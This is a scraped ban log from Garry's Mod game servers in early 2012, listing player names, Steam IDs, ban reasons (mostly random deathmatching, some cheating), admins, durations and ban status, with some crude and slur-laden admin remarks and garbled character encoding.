My^Little^Pwny^ STEAM_0:0:18659740 Griefing +Norzone Fretta|Tigergruppe Kommand Puzzle 0:16:40 Unbanned +6:07 pm 22-02-12 [AB]DogFighter STEAM_0:1:10407877 RDM ignoring +admin. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:18 pm 22-02-12 Olololadin STEAM_0:1:22327 mass rdm and karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +1:15 pm 22-02-12 Gentlespy STEAM_0:0:41565508 Stupid along with a +pinch of Rdm MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +7:08 pm 21-02-12 xXdarcyXx STEAM_0:1:11364923 Alt of banned ID +STEAM_0:1:45424776 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +5:36 pm 21-02-12 Unknown STEAM_0:1:19147578 rdming and KARMA!!! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +4:49 pm 21-02-12 the voice of freedom STEAM_0:1:39441439 karma +retared and rdming lastnight +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:59 pm 20-02-12 Unknown STEAM_0:1:8849761 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:58 pm 20-02-12 Unknown STEAM_0:1:47248552 rdming alot +mic spam and +karma and left +[SP]+ Hatcake Fretta|Tigergruppe Kommand The +Stalker 6:22:40 Unbanned +4:42 pm 20-02-12 Unknown STEAM_0:0:41202056 mass rdm karma and left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +4:20 am 20-02-12 Unknown STEAM_0:1:25266961 Shitlord #2 (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +4:20 am 20-02-12 Unknown STEAM_0:1:41166973 Shitlord (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +10:12 pm 19-02-12 nerzull STEAM_0:0:39399660 Alt of banned ID +STEAM_0:1:31713955 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:56 pm 19-02-12 Unknown STEAM_0:0:27421000 RDM then leaving Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +3:16 pm 19-02-12 ukrop STEAM_0:0:41668933 Prop pushing Snow +Official Zombified World|Lvl Cap +10 Zombified World 10:0:0 Unbanned +2:09 pm 19-02-12 Unknown STEAM_0:0:34126498 +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +12:19 am 19-02-12 Sgt. Pepper STEAM_0:0:13324704 Mass RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +9:43 pm 18-02-12 Unknown STEAM_0:0:2173520 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:02 pm 18-02-12 FUCK YE. STEAM_0:0:31718743 rdmimg alot +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:44 pm 18-02-12 Unknown STEAM_0:0:22369619 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:19:20 Unbanned +7:06 pm 18-02-12 Arch Angel STEAM_0:0:42922995 fuck off come back +when you have a brain - extended by Flapadar MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 31:0:0 Unbanned +5:23 pm 18-02-12 Unknown STEAM_0:1:28550945 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +3:09 pm 18-02-12 RECKO STEAM_0:1:15913834 mass rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Zombie Onslaught 1:9:10 Unbanned +2:48 pm 18-02-12 Unknown STEAM_0:0:20156911 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:15 am 18-02-12 Unknown STEAM_0:0:21713004 causeing mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +1:12 am 18-02-12 agallasâ??λмεиÄ?Ñ?żâ?? STEAM_0:0:21713004 ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:5:0 Unbanned +1:01 am 18-02-12 Unknown STEAM_0:1:9940783 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:56 am 18-02-12 Unknown STEAM_0:0:18653824 mass rdm, karma, left +after being questioned +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:9:20 Unbanned +12:51 am 18-02-12 Jevvy<3 STEAM_0:0:12639167 mass rdm as the D oh and +the last round too +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 3:11:20 Unbanned +10:01 pm 17-02-12 .â?¢Â°lol the one°â?¢. STEAM_0:1:32425210 +glitching MAD MANN Fretta|Tigergruppe Kommand Zombie Onslaught +0:0:20 Unbanned +9:04 pm 17-02-12 Ben STEAM_0:0:16723266 RDM at the beginning of the +round +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:16:40 Unbanned +9:04 pm 17-02-12 Air Conditioner STEAM_0:0:30174673 RDM as D. +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +7:47 pm 17-02-12 λBenderλ STEAM_0:1:4293436 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +7:30 pm 17-02-12 Unknown STEAM_0:1:83858 DDoS this Snow Official +Zombified World|Lvl Cap +10 Zombified World Permanent Banned +6:19 pm 17-02-12 UteliggarN STEAM_0:1:31734441 RDMing Snow +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:20 pm 17-02-12 [TTC] Jorikito STEAM_0:1:14356719 Alt of banned ID +STEAM_0:0:46563870 (Console) Fretta|Tigergruppe Kommand Dogfight: +Arcade Assault Permanent Banned +2:59 pm 17-02-12 Unknown STEAM_0:1:48854608 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:35 pm 17-02-12 Unknown STEAM_0:1:10348067 mass rdm then left and +was warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +12:04 am 17-02-12 Retundro STEAM_0:0:35712887 rdiming as the D and +this is not your first time being an ass +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +10:59 pm 16-02-12 [mau5] Rapid Strike STEAM_0:1:7308244 RDMing again +even after warnings +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:16:40 Unbanned +10:51 pm 16-02-12 Unknown STEAM_0:1:7197611 mass rdm then left +without full punishment +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:21:40 Unbanned +10:21 pm 16-02-12 Unknown STEAM_0:1:42912048 RDM after everyone was +warned by me and joe then left to get out of it +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +10:19 pm 16-02-12 PIG3ONKILL3R STEAM_0:0:30530776 rdm after everyone +was warned by joe and i +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +6:58 pm 16-02-12 Unknown STEAM_0:1:23374647 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:16 pm 16-02-12 sammysoc70 STEAM_0:0:36363824 RDM Random people! ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:16:40 Unbanned +4:52 pm 16-02-12 MarcymmmKay STEAM_0:1:24734830 Stealing weapons +during faction war and ignoring amdin Llixo Official Zombified +World|Lvl Cap +10 Zombified World 0:0:0 Unbanned +1:01 am 16-02-12 λOrangeknightλ STEAM_0:0:39892960 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:43 pm 15-02-12 Unknown STEAM_0:0:18144019 rdm then left + +timewasteing and glitching and retarded +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +12:15 pm 15-02-12 Unknown STEAM_0:1:46049460 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:14 pm 15-02-12 Unknown STEAM_0:1:46049460 RDM then left. +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:0 Unbanned +11:45 am 15-02-12 countersniper STEAM_0:1:36099251 mass RDM as the D. +did you have fun? +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:18:40 Unbanned +10:32 pm 14-02-12 MetricCaboose STEAM_0:0:46700034 rdming fellow T +' s +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +7:38 pm 14-02-12 [JS]the lucky man STEAM_0:0:29970234 killing traitor +team +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +7:17 pm 14-02-12 PARKOUR DK STEAM_0:0:40386467 disrespecting admin +the RDMing him +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:0:0 Unbanned +5:34 pm 14-02-12 Aegis STEAM_0:0:23168403 Prop killing Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 Unbanned +4:01 pm 14-02-12 пипеÑ?! STEAM_0:0:43695226 rdm then avoided +slay +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +3:53 pm 14-02-12 Unknown STEAM_0:1:41025810 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:40 pm 14-02-12 Unknown STEAM_0:0:17058321 Anal raping ZW rules +Llixo Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +3:34 pm 14-02-12 Hunter STEAM_0:0:40596784 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:10 pm 14-02-12 Hendruuk1 STEAM_0:1:31952231 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:12:30 +Unbanned +11:16 pm 13-02-12 Awesome Sauce STEAM_0:1:27116960 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:49 pm 13-02-12 Unknown STEAM_0:0:30611686 left while under attack +MAD MANN Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +8:53 pm 13-02-12 My Alcoholic Dad STEAM_0:1:39204273 I am detective +and I RDM that is sooo wrong! +[SP]+ JoE CrAcKeR Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:9:20 Unbanned +8:51 pm 13-02-12 Unknown STEAM_0:0:17086047 prop pushing and killing +( rdm ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +8:35 pm 13-02-12 jonnytorres1516 STEAM_0:0:41202056 KARMA babes ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +8:30 pm 13-02-12 Oggy STEAM_0:1:35444615 offensive spray, RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +2:38 pm 13-02-12 Unknown STEAM_0:1:41842079 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:54 pm 12-02-12 My Alcoholic Dad STEAM_0:1:39204273 immature spam ++[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:40 Unbanned +7:49 pm 12-02-12 Wolfer210 STEAM_0:0:29884917 troll, rdming Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:42 pm 12-02-12 My Alcoholic Dad STEAM_0:1:39204273 come back when +you stop rdming +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:0:5 Unbanned +6:15 pm 12-02-12 Unknown STEAM_0:1:39157075 RDM and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +5:53 pm 12-02-12 the sfaa7 STEAM_0:0:42044871 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:44 pm 12-02-12 TC SpeedFreak STEAM_0:1:23194246 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:35 am 12-02-12 My Ass STEAM_0:0:19430923 mass RDM and is a asshole +and like wow man fucking banned +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 6:22:40 Unbanned +2:25 am 12-02-12 [UGC] Tomoya STEAM_0:0:19281764 rdming + time +wasting CUNT +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +12:56 am 12-02-12 Unknown STEAM_0:1:30754890 Cheat: integra +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:56 am 12-02-12 Unknown STEAM_0:0:20220663 Cheat: speedhack +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:39618012 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:22917225 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:8731533 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:36831604 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:45008543 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:24320781 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:26312585 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:43100738 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:12012182 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:48308696 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:31775427 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:13737877 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:11427632 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +2:14 pm 11-02-12 psychockey STEAM_0:0:8855027 DODDs this +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Surf 6944:10:39 Banned +12:40 pm 11-02-12 tolli ^IK^[ISG] STEAM_0:1:16486142 rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +9:35 pm 10-02-12 cristiano-ronaldo STEAM_0:0:24302599 RDM Traitor +Buddy! +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:0 Unbanned +7:10 pm 10-02-12 â?­ [RUS] моÑ?Ñ?еÑ?Ñ?Ñ?Ñ?Ñ?Ð STEAM_0:1:18314511 +RDM Shooting people in the head with no reason +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +6:47 pm 10-02-12 Master of Illusionâ?¢ STEAM_0:0:39231690 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:46 pm 10-02-12 Master of Mysticismâ?¢ STEAM_0:0:42741786 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:21 pm 10-02-12 Unknown STEAM_0:0:41901764 rdm then left + +KARMA!!!! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:18:40 Unbanned +4:22 pm 10-02-12 NLSandro STEAM_0:1:48172552 rdm Arsehole extreme +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +1:29 pm 10-02-12 +[SP]+ Velo STEAM_0:1:26489227 +[SP]+ SFAriel +Fretta|Tigergruppe Kommand Gamemaster 0:0:1 Unbanned +12:19 am 10-02-12 Unknown STEAM_0:1:34160141 Extended. (And extended +again by flapadar) (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +9:56 pm 09-02-12 -[PS]-Nochie-Ironcupcake STEAM_0:0:48325709 RDM +LoVe WaRrIoR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:30 Unbanned +9:56 pm 09-02-12 Self Consciousness STEAM_0:1:34160141 rdming - +extended by flapadar Ruby Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:39 pm 09-02-12 Black Man in America STEAM_0:1:36728992 RDM ' s +Ruby Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +9:14 pm 09-02-12 Cocksikle Lord |Õ©Ñ?| STEAM_0:0:41846312 RDM ' s +Ruby Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +9:13 pm 09-02-12 Unknown STEAM_0:1:39186083 RDM ' s and left Ruby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +9:08 pm 09-02-12 S!ber STEAM_0:0:28545861 rdm Ruby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +8:57 pm 09-02-12 :D lol :D STEAM_0:1:32425210 prop push RDM! LoVe +WaRrIoR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +8:49 pm 09-02-12 Me, Mario! STEAM_0:0:24064507 RDM! LoVe WaRrIoR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +8:26 pm 09-02-12 Advanced Creativity STEAM_0:1:25675380 karma Ruby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +6:21 pm 09-02-12 them STEAM_0:0:5868669 I RDMED uhhhh yaaaa +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:2:5 Unbanned +5:49 pm 09-02-12 Unknown STEAM_0:1:24049485 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Zombie Onslaught 1:0:0 Unbanned +4:37 pm 09-02-12 Unknown STEAM_0:0:40328785 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:17 pm 09-02-12 Unknown STEAM_0:0:40528036 prop push and kill after +being warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun +0:8:20 Unbanned +9:39 pm 08-02-12 ghostopo STEAM_0:0:41580067 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:34 pm 08-02-12 kalin210 STEAM_0:0:45416672 Goodbye trolling rdming +not friend Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +8:32 pm 08-02-12 eXterminaTion MX STEAM_0:1:26228710 RDM UHHH JA! +LoVe WaRrIoR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +7:08 pm 08-02-12 le lajty STEAM_0:0:17698960 RDM LoVe WaRrIoR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:26 pm 08-02-12 Unknown STEAM_0:1:41666514 RDM then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:57 pm 08-02-12 Unknown STEAM_0:0:40596784 RDM + Disconnect +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:17:40 Unbanned +2:28 pm 08-02-12 Ð?лÑ?беÑ?Ñ? Ð?еÑ?кеÑ? STEAM_0:1:46521132 +Constant RDM +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:17:40 Unbanned +10:21 pm 07-02-12 [Gmod.biZ] Arbiter [PT] STEAM_0:1:37139098 RDM ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +6:52 pm 07-02-12 Teddy :D STEAM_0:0:20369356 RDM (you should have +been scared) Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:0 Unbanned +6:07 pm 06-02-12 Unknown STEAM_0:1:35126314 2 rdms and left MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +5:07 pm 06-02-12 Unknown STEAM_0:1:42934133 RDM and being a asshole +to him and admin +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:0 Unbanned +8:58 pm 05-02-12 DarKness STEAM_0:1:23503107 Alt of banned ID +STEAM_0:0:45523007 (Console) Fretta|Tigergruppe Kommand Dogfight: +Arcade Assault Permanent Banned +6:18 pm 05-02-12 Pootis Pow! STEAM_0:0:47215367 Mass RDM! +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +9:36 pm 04-02-12 laurieampomah STEAM_0:1:47665160 glitching the +game! +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:20 Unbanned +9:01 pm 04-02-12 Unknown STEAM_0:1:8475562 Mass mass mass RDM +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 +Unbanned +7:42 pm 04-02-12 Epic STEAM_0:0:4856909 Team killing for weapons +Cutie Official Zombified World|Lvl Cap +10 Zombified World 10:0:0 +Unbanned +7:41 pm 04-02-12 Unknown STEAM_0:0:29413573 Faction exploiting +Cutie Official Zombified World|Lvl Cap +10 Zombified World 10:0:0 +Unbanned +7:12 pm 04-02-12 killer222 STEAM_0:0:46256392 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:09 pm 04-02-12 Nate STEAM_0:1:24297812 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:08 pm 04-02-12 [`xÃ?']UberTrololololololololol STEAM_0:1:36728992 +Karma - RDM +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:0:0 Unbanned +7:05 pm 04-02-12 [ Ss ] Dramatic Look Heavy STEAM_0:1:39204273 RDM ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:9:20 Unbanned +7:01 pm 04-02-12 the sfaa7 STEAM_0:0:42044871 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +1:38 pm 04-02-12 Unknown STEAM_0:0:16224394 Moving base while under +attack +[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified +World 0:10:0 Unbanned +5:42 pm 03-02-12 Unknown STEAM_0:1:19147578 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +10:38 pm 02-02-12 Cube STEAM_0:1:34627948 rdm Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:53 pm 02-02-12 Unknown STEAM_0:0:32689725 same as oggy MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +9:53 pm 02-02-12 Unknown STEAM_0:0:32689725 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:51 pm 02-02-12 Unknown STEAM_0:1:35444615 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +9:08 pm 02-02-12 hand solo STEAM_0:1:19329360 Troll, rdm and so on +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:42 pm 02-02-12 ANARCHY99 STEAM_0:0:1204571 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:07 pm 01-02-12 ANGEL (LEVY) STEAM_0:0:40282348 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:05 pm 01-02-12 CommanderShepard STEAM_0:1:32256280 Propkilling and +general idiot. Nemesis Official Zombified World|Lvl Cap +10 Zombified +World 5:0:0 Unbanned +4:20 pm 01-02-12 Scofield le chauve ;) STEAM_0:1:26642523 mass rdm +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +4:15 pm 01-02-12 the sfaa7 STEAM_0:0:42044871 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:04 pm 01-02-12 agent smith STEAM_0:1:41088870 Leaveing during a +faction war +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 0:16:40 Unbanned +12:41 am 01-02-12 Unknown STEAM_0:0:37652794 RDM x4 and Left +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:0:0 +Unbanned +12:30 am 01-02-12 Unknown STEAM_0:0:19155621 Troll and RDM somewhere +else. Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +5:0:0 Unbanned +7:40 pm 31-01-12 Ollie STEAM_0:0:30709335 RDMing fellow T +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +6:42 pm 31-01-12 Rexiwul STEAM_0:1:33630596 RDM +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:21 pm 29-01-12 Ihatex STEAM_0:1:19147578 And you are banned, for +RDMing Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:13 pm 29-01-12 SaschaS STEAM_0:1:39618061 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:15 am 29-01-12 Unknown STEAM_0:0:38893214 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:1:29886937 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:0:19293437 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:1:19348310 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:1:26819163 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:1:17042971 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:12 am 29-01-12 Unknown STEAM_0:0:32070437 Cheat: faggot (poki) +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +9:50 am 29-01-12 Www.VoltageHack.webs.com + STEAM_0:1:40922503 Alt of banned ID +STEAM_0:0:40143824 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:56 am 29-01-12 PartyRockâ?¢ STEAM_0:0:30611686 Faction +Exploiting Argonian Official Zombified World|Lvl Cap +10 Zombified +World 7:0:0 Unbanned +12:55 am 29-01-12 {RND}uberransy STEAM_0:1:36928422 Faction +Exploiting Argonian Official Zombified World|Lvl Cap +10 Zombified +World 7:0:0 Unbanned +12:09 am 29-01-12 Ghost(-Elite-) STEAM_0:1:30862688 Grow some +nutts. Llixo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:20 Unbanned +5:25 pm 28-01-12 dude (LT) STEAM_0:1:45001338 Idiot Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:59 pm 28-01-12 [DUKE] sWr.lepi <3 STEAM_0:0:15392331 And now you +are banned for mic spamming Cutie Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:0:0 Unbanned +12:48 pm 28-01-12 Ascallar STEAM_0:0:27435703 RDM Cutie 